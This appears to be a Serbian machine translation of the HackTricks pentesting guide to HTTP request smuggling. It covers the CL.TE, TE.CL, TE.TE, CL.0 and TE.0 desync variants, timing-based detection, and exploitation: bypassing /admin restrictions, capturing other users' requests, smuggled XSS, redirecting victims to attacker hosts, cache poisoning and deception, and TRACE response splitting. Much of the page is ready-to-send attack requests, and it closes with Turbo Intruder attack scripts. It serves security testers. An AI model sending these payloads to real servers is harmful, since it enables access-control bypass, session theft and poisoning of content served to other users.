mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator 0c139d182b Translated ['pentesting-web/http-request-smuggling/README.md'] to rs

2024-07-29 13:36:47 +00:00

36 KiB

Raw Blame History

HTTP Request Smuggling / HTTP Desync Attack

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks

Proverite planove pretplate!
Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

{% endhint %}

Šta je

Ova ranjivost se javlja kada desinkronizacija između frontalnih proksija i pozadinskog servera omogućava napadaču da pošalje HTTP zahtev koji će biti tumačen kao jedan zahtev od strane frontalnih proksija (load balance/reverse-proxy) i kao 2 zahteva od strane pozadinskog servera.
To omogućava korisniku da modifikuje sledeći zahtev koji stigne do pozadinskog servera nakon njegovog.

Teorija

RFC Specifikacija (2161)

Ako je poruka primljena sa oba, Transfer-Encoding header polje i Content-Length header polje, potonje MORA biti ignorisano.

Content-Length

Content-Length entitetski header označava veličinu entitetskog tela, u bajtovima, poslatog primaocu.

Transfer-Encoding: chunked

Transfer-Encoding header specificira oblik kodiranja koji se koristi za sigurno prenošenje sadržaja korisniku.
Chunked znači da se veliki podaci šalju u seriji delova.

Stvarnost

Frontalni (load-balance / Reverse Proxy) obrađuje content-length ili transfer-encoding header, a pozadinski server obrađuje drugi izazivajući desinkronizaciju između 2 sistema.
To može biti veoma kritično jer napadač može poslati jedan zahtev na reverse proxy koji će biti tumačen od strane pozadinskog servera kao 2 različita zahteva. Opasnost ove tehnike leži u činjenici da će pozadinski server tumačiti 2. zahtev koji je ubačen kao da je došao od sledećeg klijenta i pravi zahtev tog klijenta će biti deo ubačenog zahteva.

Posebnosti

Zapamtite da u HTTP novi red karakter se sastoji od 2 bajta:

Content-Length: Ovaj header koristi decimalni broj da označi broj bajtova tela zahteva. Očekuje se da telo završi u poslednjem karakteru, novi red nije potreban na kraju zahteva.
Transfer-Encoding: Ovaj header koristi u telu heksadecimalni broj da označi broj bajtova sledećeg dela. Deo mora završiti sa novim redom, ali ovaj novi red se ne računa od strane indikatora dužine. Ova metoda prenosa mora završiti sa delom veličine 0 praćenim sa 2 nova reda: 0
Connection: Na osnovu mog iskustva, preporučuje se korišćenje Connection: keep-alive na prvom zahtevu u request Smuggling.

Osnovni Primeri

{% hint style="success" %} Kada pokušavate da iskoristite ovo sa Burp Suite onemogućite Update Content-Length i Normalize HTTP/1 line endings u repeater-u jer neki gadgeti zloupotrebljavaju nove redove, povratne znakove i neispravne content-length vrednosti. {% endhint %}

HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako frontalni i pozadinski serveri tumače Content-Length (CL) i Transfer-Encoding (TE) heder. Ovi napadi se mogu manifestovati u različitim oblicima, prvenstveno kao CL.TE, TE.CL, i TE.TE. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji frontalni i pozadinski serveri prioritetizuju ove hedere. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.

Osnovni Primeri Ranjivosti

{% hint style="info" %} U prethodnu tabelu treba dodati TE.0 tehniku, kao CL.0 tehniku, ali koristeći Transfer Encoding. {% endhint %}

CL.TE Ranjivost (Content-Length koristi Frontalni, Transfer-Encoding koristi Pozadinski)

Frontalni (CL): Obradjuje zahtev na osnovu Content-Length hedera.
Pozadinski (TE): Obradjuje zahtev na osnovu Transfer-Encoding hedera.
Scenarijo napada:
Napadač šalje zahtev gde vrednost Content-Length hedera ne odgovara stvarnoj dužini sadržaja.
Frontalni server prosleđuje ceo zahtev pozadinskom, na osnovu Content-Length vrednosti.
Pozadinski server obrađuje zahtev kao chunked zbog Transfer-Encoding: chunked hedera, tumačeći preostale podatke kao odvojen, sledeći zahtev.
Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Ranjivost (Transfer-Encoding koristi Frontalni, Content-Length koristi Pozadinski)

Frontalni (TE): Obradjuje zahtev na osnovu Transfer-Encoding hedera.
Pozadinski (CL): Obradjuje zahtev na osnovu Content-Length hedera.
Scenarijo napada:
Napadač šalje chunked zahtev gde veličina dela (7b) i stvarna dužina sadržaja (Content-Length: 4) ne odgovaraju.
Frontalni server, poštujući Transfer-Encoding, prosleđuje ceo zahtev pozadinskom.
Pozadinski server, poštujući Content-Length, obrađuje samo početni deo zahteva (7b bajtova), ostavljajući ostatak kao deo neplaniranog sledećeg zahteva.
Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Ranjivost (Transfer-Encoding koriste oba, sa obfuscation)

Serveri: Obe podržavaju Transfer-Encoding, ali jedan može biti prevaren da ga ignoriše putem obfuscation.
Scenarijo napada:
Napadač šalje zahtev sa obfuskovanim Transfer-Encoding hederima.
U zavisnosti od toga koji server (frontalni ili pozadinski) ne prepozna obfuscation, može se iskoristiti CL.TE ili TE.CL ranjivost.
Neobrađeni deo zahteva, kako ga vidi jedan od servera, postaje deo sledećeg zahteva, što dovodi do smuggling-a.
Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenarijo (Content-Length koriste oba Frontalni i Pozadinski)

Obe servera obrađuju zahtev isključivo na osnovu Content-Length hedera.
Ovaj scenario obično ne dovodi do smuggling-a, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenarijo

Odnosi se na scenarije gde je Content-Length header prisutan i ima vrednost različitu od nule, što ukazuje da telo zahteva ima sadržaj. Pozadinski ignoriše Content-Length header (koji se tretira kao 0), ali frontalni ga analizira.
Ključno je za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva.
Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenarijo

Kao prethodni, ali koristeći TE.
Tehnika prijavljena ovde
Primer:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Rušenje web servera

Ova tehnika je takođe korisna u scenarijima gde je moguće rušiti web server dok se čitaju inicijalni HTTP podaci ali bez zatvaranja veze. Na ovaj način, telo HTTP zahteva će se smatrati sledećim HTTP zahtevom.

Na primer, kao što je objašnjeno u ovoj analizi, u Werkzeug-u je bilo moguće poslati neke Unicode karaktere i to će uzrokovati rušenje servera. Međutim, ako je HTTP veza kreirana sa zaglavljem Connection: keep-alive, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će se telo zahteva tretirati kao sledeći HTTP zahtev.

Prisiljavanje putem hop-by-hop zaglavlja

Zloupotrebom hop-by-hop zaglavlja možete naznačiti proxy-ju da izbaci zaglavlje Content-Length ili Transfer-Encoding kako bi se HTTP request smuggling mogao zloupotrebiti.

Connection: Content-Length

For više informacija o hop-by-hop header-ima posetite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Pronalaženje HTTP Request Smuggling

Identifikacija ranjivosti HTTP request smuggling često se može postići korišćenjem tehnika merenja vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulirane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:

Pronalaženje CL.TE Ranjivosti Korišćenjem Tehnika Merenja Vremena

Metod:
Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka na dodatne podatke.
Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Posmatranje:
Front-end server obrađuje zahtev na osnovu Content-Length i prekida poruku prerano.
Back-end server, očekujući chunked poruku, čeka na sledeći chunk koji nikada ne dolazi, uzrokujući kašnjenje.
Indikatori:
Timeout-ovi ili duga kašnjenja u odgovoru.
Primanje 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru.

Pronalaženje TE.CL Ranjivosti Korišćenjem Tehnika Merenja Vremena

Metod:
Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka na dodatne podatke.
Primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Posmatranje:
Front-end server obrađuje zahtev na osnovu Transfer-Encoding i prosleđuje celu poruku.
Back-end server, očekujući poruku na osnovu Content-Length, čeka na dodatne podatke koji nikada ne dolaze, uzrokujući kašnjenje.

Druge Metode za Pronalaženje Ranjivosti

Analiza Diferencijalnog Odgovora:
Pošaljite blago izmenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na grešku u parsiranju.
Korišćenje Automatizovanih Alata:
Alati poput Burp Suite-ove 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem različitih oblika nejasnih zahteva i analizom odgovora.
Testovi Varijacije Content-Length:
Pošaljite zahteve sa različitim Content-Length vrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server reaguje na takve neslaganja.
Testovi Varijacije Transfer-Encoding:
Pošaljite zahteve sa obfuskovanim ili neispravnim Transfer-Encoding header-ima i pratite kako se front-end i back-end serveri različito ponašaju na takve manipulacije.

Testiranje Ranjivosti HTTP Request Smuggling

Nakon potvrđivanja efikasnosti tehnika merenja vremena, ključno je proveriti da li se klijentski zahtevi mogu manipulirati. Jednostavna metoda je pokušaj trovanja vaših zahteva, na primer, da zahtev za / vrati 404 odgovor. Primeri CL.TE i TE.CL prethodno raspravljani u Osnovnim Primerima pokazuju kako otrovati klijentov zahtev da izazove 404 odgovor, uprkos tome što klijent pokušava da pristupi drugom resursu.

Ključne Napomene

Kada testirate ranjivosti request smuggling-a ometajući druge zahteve, imajte na umu:

Različite Mrežne Konekcije: "Napad" i "normalni" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje prisustvo ranjivosti.
Dosledni URL i Parametri: Ciljajte da koristite identične URL-ove i imena parametara za oba zahteva. Moderne aplikacije često usmeravaju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Usklađivanje ovih povećava verovatnoću da oba zahteva obrađuje isti server, što je preduslov za uspešan napad.
Vreme i Uslovi Trke: "Normalni" zahtev, koji je namenjen otkrivanju ometanja od "napadnog" zahteva, takmiči se protiv drugih istovremenih zahteva aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
Izazovi Balansiranja Opterećenja: Front-end serveri koji deluju kao balansatori opterećenja mogu raspodeliti zahteve preko različitih back-end sistema. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati nekoliko pokušaja za potvrdu ranjivosti.
Nepredviđeni Uticaj na Korisnike: Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali za detekciju), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, što zahteva oprezan pristup.

Zloupotreba HTTP Request Smuggling

Zaobilaženje Front-End Bezbednosti putem HTTP Request Smuggling

Ponekad, front-end proksi primenjuju bezbednosne mere, preispitujući dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup /admin može biti zabranjen spolja, pri čemu front-end proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti ugradnje zahteva unutar prokrijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.

Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end bezbednosnih kontrola, posebno ciljajući /admin putanju koja je obično zaštićena front-end proksijem:

CL.TE Primer

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

U CL.TE napadu, Content-Length zaglavlje se koristi za inicijalni zahtev, dok sledeći ugnježdeni zahtev koristi Transfer-Encoding: chunked zaglavlje. Frontalni proxy obrađuje inicijalni POST zahtev, ali ne uspeva da ispita ugnježdeni GET /admin zahtev, omogućavajući neovlašćen pristup /admin putanji.

TE.CL Primer

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

S druge strane, u TE.CL napadu, inicijalni POST zahtev koristi Transfer-Encoding: chunked, a sledeći ugnježdeni zahtev se obrađuje na osnovu Content-Length zaglavlja. Slično CL.TE napadu, front-end proxy zanemaruje ugnježdeni GET /admin zahtev, nenamerno omogućavajući pristup ograničenom /admin putu.

Otkivanje prepravke front-end zahteva

Aplikacije često koriste front-end server za modifikaciju dolaznih zahteva pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje zaglavlja, kao što je X-Forwarded-For: <IP klijenta>, kako bi se prenela IP adresa klijenta na back-end. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za obići zaštite ili otkriti skrivene informacije ili krajnje tačke.

Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end ponavlja u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar kao poslednji, slično sledećem:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

U ovoj strukturi, sledeći delovi zahteva se dodaju nakon search=, što je parametar koji se odražava u odgovoru. Ova refleksija će otkriti zaglavlja sledećeg zahteva.

Važno je uskladiti Content-Length zaglavlje ugnježdenog zahteva sa stvarnom dužinom sadržaja. Preporučuje se da se počne sa malom vrednošću i postepeno povećava, jer će previše niska vrednost skratiti odražene podatke, dok previše visoka vrednost može izazvati grešku u zahtevu.

Ova tehnika se takođe može primeniti u kontekstu TE.CL ranjivosti, ali zahtev treba da se završi sa search=\r\n0. Bez obzira na karaktere novog reda, vrednosti će se dodati parametru pretrage.

Ova metoda prvenstveno služi za razumevanje izmena zahteva koje vrši front-end proxy, suštinski obavljajući samostalnu istragu.

Capturing other users' requests

Moguće je uhvatiti zahteve sledećeg korisnika dodavanjem specifičnog zahteva kao vrednosti parametra tokom POST operacije. Evo kako se to može postići:

Dodavanjem sledećeg zahteva kao vrednosti parametra, možete sačuvati zahtev sledećeg klijenta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

U ovom scenariju, parametar komentara je namenjen za čuvanje sadržaja unutar sekcije komentara posta na javno dostupnoj stranici. Kao rezultat, sadržaj narednog zahteva će se pojaviti kao komentar.

Međutim, ova tehnika ima ograničenja. Generalno, hvata podatke samo do delimičnog razdvajanja parametara korišćenog u prokrijumčarenom zahtevu. Za URL-enkodirane forme, ovaj razdvojnik je karakter &. To znači da će uhvaćeni sadržaj iz zahteva žrtve prestati na prvom &, koji može biti deo upitnog niza.

Pored toga, vredi napomenuti da je ovaj pristup takođe izvodljiv sa TE.CL ranjivošću. U takvim slučajevima, zahtev bi trebao da se završi sa search=\r\n0. Bez obzira na karaktere novog reda, vrednosti će biti dodate parametru pretrage.

Korišćenje HTTP request smuggling za iskorišćavanje reflektovanog XSS

HTTP Request Smuggling se može iskoristiti za iskorišćavanje web stranica ranjivih na Reflektovani XSS, nudeći značajne prednosti:

Interakcija sa ciljnim korisnicima nije potrebna.
Omogućava iskorišćavanje XSS u delovima zahteva koji su normalno nedostupni, poput HTTP zaglavlja zahteva.

U scenarijima gde je veb sajt podložan Reflektovanom XSS putem User-Agent zaglavlja, sledeći payload prikazuje kako iskoristiti ovu ranjivost:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način:

Inicira POST zahtev, naizgled tipičan, sa Transfer-Encoding: chunked header-om da označi početak šverca.
Nakon toga sledi 0, što označava kraj chunked poruke.
Zatim se uvodi švercovani GET zahtev, gde je User-Agent header zaražen skriptom, <script>alert(1)</script>, što pokreće XSS kada server obradi ovaj sledeći zahtev.

Manipulacijom User-Agent kroz šverc, payload zaobilazi normalna ograničenja zahteva, čime se iskorišćava Reflected XSS ranjivost na nestandardan, ali efikasan način.

HTTP/0.9

{% hint style="danger" %} U slučaju da se sadržaj korisnika odražava u odgovoru sa Content-type kao što je text/plain, sprečavajući izvršenje XSS. Ako server podržava HTTP/0.9, možda će biti moguće zaobići ovo! {% endhint %}

Verzija HTTP/0.9 je prethodila 1.0 i koristi samo GET glagole i ne odgovara sa header-ima, samo telom.

U ovoj analizi, ovo je zloupotrebljeno sa švercom zahteva i ranjivim krajnjim tačkom koja će odgovoriti sa unosom korisnika da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržavao je lažni HTTP/1.1 odgovor (sa header-ima i telom) tako da će odgovor sadržati validan izvršni JS kod sa Content-Type od text/html.

Iskorišćavanje preusmeravanja na lokaciji sa HTTP Request Smuggling

Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz Host header-a u URL-u preusmeravanja. Ovo je uobičajeno sa web serverima kao što su Apache i IIS. Na primer, zahtev za folder bez završnog kosa rezultira preusmeravanjem da uključi kosu:

GET /home HTTP/1.1
Host: normal-website.com

Rezultati u:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Iako naizgled bezopasno, ovo ponašanje se može iskoristiti pomoću HTTP request smuggling-a za preusmeravanje korisnika na spoljašnju stranicu. Na primer:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb sajt pod kontrolom napadača:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Rezultati u:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika tako što će poslužiti zlonamerni JavaScript kao odgovor.

Iskorišćavanje trovanja web kešom putem HTTP Request Smuggling

Trovanje web kešom može se izvršiti ako bilo koja komponenta infrastrukture front-end kešira sadržaj, obično radi poboljšanja performansi. Manipulacijom serverovog odgovora, moguće je otrovati keš.

Prethodno smo posmatrali kako se serverovi odgovori mogu izmeniti da vrate 404 grešku (pogledajte Osnovni primeri). Slično tome, moguće je prevariti server da isporuči sadržaj /index.html kao odgovor na zahtev za /static/include.js. Kao rezultat, sadržaj /static/include.js se zamenjuje u kešu sa onim od /index.html, čineći /static/include.js nedostupnim korisnicima, što potencijalno može dovesti do Denial of Service (DoS).

Ova tehnika postaje posebno moćna ako se otkrije ranjivost Open Redirect ili ako postoji preusmeravanje na sajtu ka otvorenom preusmeravanju. Takve ranjivosti se mogu iskoristiti za zamenu keširanog sadržaja /static/include.js sa skriptom pod kontrolom napadača, što suštinski omogućava široku Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani /static/include.js.

Ispod je ilustracija iskorišćavanja trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju. Cilj je izmeniti keš sadržaj /static/include.js da poslužuje JavaScript kod pod kontrolom napadača:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Napomena o ugrađenom zahtevu koji cilja /post/next?postId=3. Ovaj zahtev će biti preusmeren na /post?postId=4, koristeći Host header value za određivanje domena. Menjanjem Host header-a, napadač može preusmeriti zahtev na svoj domen (on-site redirect to open redirect).

Nakon uspešnog socket poisoning-a, treba inicirati GET request za /static/include.js. Ovaj zahtev će biti kontaminiran prethodnim on-site redirect to open redirect zahtevom i preuzeti sadržaj skripte koju kontroliše napadač.

Nakon toga, svaki zahtev za /static/include.js će služiti keširani sadržaj napadačeve skripte, efikasno pokrećući širok XSS napad.

Korišćenje HTTP request smuggling-a za izvođenje web cache deception

Koja je razlika između web cache poisoning-a i web cache deception-a?

U web cache poisoning-u, napadač uzrokuje da aplikacija sačuva neki zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.

U web cache deception-u, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima ovaj sadržaj iz keša.

Napadač kreira smuggled zahtev koji preuzima osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Ako ovaj smugglovani zahtev otrova keš unos namenjen za statički sadržaj (npr., /someimage.png), osetljivi podaci žrtve sa /private/messages mogli bi biti keširani pod unosom keša statičkog sadržaja. Kao rezultat, napadač bi potencijalno mogao da povrati ove keširane osetljive podatke.

Zloupotreba TRACE putem HTTP Request Smuggling

U ovom postu se sugeriše da, ako server ima omogućenu metodu TRACE, može biti moguće zloupotrebiti je putem HTTP Request Smuggling. To je zato što će ova metoda reflektovati bilo koji header poslat serveru kao deo tela odgovora. Na primer:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Će poslati odgovor kao što je:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Primer kako iskoristiti ovo ponašanje bio bi da se prokrijumčari prvo HEAD zahtev. Ovaj zahtev će biti odgovoreno samo sa zaglavljima GET zahteva (Content-Type među njima). I prokrijumčariti odmah nakon HEAD TRACE zahtev, koji će odražavati poslati podaci.
Pošto će HEAD odgovor sadržati Content-Length zaglavlje, odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, što će stoga odražavati proizvoljne podatke u odgovoru.
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi ovo moglo biti iskorišćeno u keširanom JS fajlu na primer da se ubaci proizvoljan JS kod.

Iskorišćavanje TRACE putem HTTP Response Splitting

Nastavite da pratite ovaj post koji sugeriše još jedan način da se iskoristi TRACE metoda. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće kontrolisati neke odražene podatke u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je u suštini naznačena u Content-Length zaglavlju i formira se odgovorom na TRACE zahtev.

Stoga, nova ideja bi bila da, znajući ovo Content-Length i podatke date u TRACE odgovoru, moguće je učiniti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču da potpuno kontroliše zahtev za sledeći odgovor (što bi moglo biti iskorišćeno za izvođenje trovanja keša).

Primer:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Generisaće ove odgovore (obratite pažnju na to kako HEAD odgovor ima Content-Length, što čini da TRACE odgovor bude deo HEAD tela, a kada se završi HEAD Content-Length, validan HTTP odgovor se švercuje):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite. Pokušajte ove druge metode eksploatacije:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Other HTTP Request Smuggling Techniques

Browser HTTP Request Smuggling (Client Side)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

Request Smuggling in HTTP/2 Downgrades

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Turbo intruder scripts

CL.TE

Sa https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Alati

https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Ovaj alat je HTTP Fuzzer zasnovan na gramatici koji je koristan za pronalaženje čudnih razlika u request smuggling-u.

Reference